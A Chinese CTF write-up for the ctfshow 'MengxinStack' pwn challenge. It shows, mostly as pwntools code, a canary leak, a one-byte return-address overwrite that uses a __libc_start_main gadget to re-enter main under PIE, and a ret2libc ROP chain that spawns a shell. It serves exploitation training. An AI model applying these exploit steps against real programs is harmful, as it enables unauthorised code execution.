开启pie保护利用之重启main函数

题目:ctfshow36D杯:MengxinStack

审计代码

程序开启了pie,canary,利用第一个格式化泄露出canary,但是此时我们只剩下一次读入的机会,还没有得到libc基址、pie基址,该怎么办呢。

pie保护我们只能确定main函数后三位地址,所以常规方法改返回地址为main函数是行不通的,这时候就需要用到magic_gadget了,我们通过ida查看libc链接文件中libc_start_main的汇编会发现一个magic_gadget。

mov     rax, [rsp+98h+var_90];call    rax;

将rsp+98h+var_90里的值赋给rax,然后返回rax,我们进入gdb调试看一下

rl("She said: hello?")
pay=b'a'*0x29
s(pay)
rl(b'a'*0x28)
canary=u64(p.recv(16),16)-0x61
li(hex(canary))
pay1=b'a'*0x28+p64(canary)*4+b'\x89'
bug()
s(pay1)

 修改返回地址的尾字节发现我们将main函数的栈地址赋给了rax,那么call rax就行再次返回main函数,此时我们又多了两次read的机会,打ret2libc就可以

利用第一次的%s泄露出返回地址并计算出libc基址,构造rop链,getshell。

rl("She said: hello?")
pay=b'a'*0x29
s(pay)
rl(b'a'*0x28)
canary=u64(p.recv(16),16)-0x61
li(hex(canary))
pay1=b'a'*0x28+p64(canary)*4+b'\x89'
#bug()
s(pay1)
pay2=b'a'*0x48
s(pay2)
libc_base=get_addr64()-libc.sym['__libc_start_main']+48
li(hex(libc_base))
#bug()
system,bin=get_sb()
rdi=0x000000000002a3e5+libc_base
pay3=b'a'*0x28+p64(canary)*4+p64(rdi)+p64(bin)+p64(rdi+1)+p64(system)
s(pay3)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值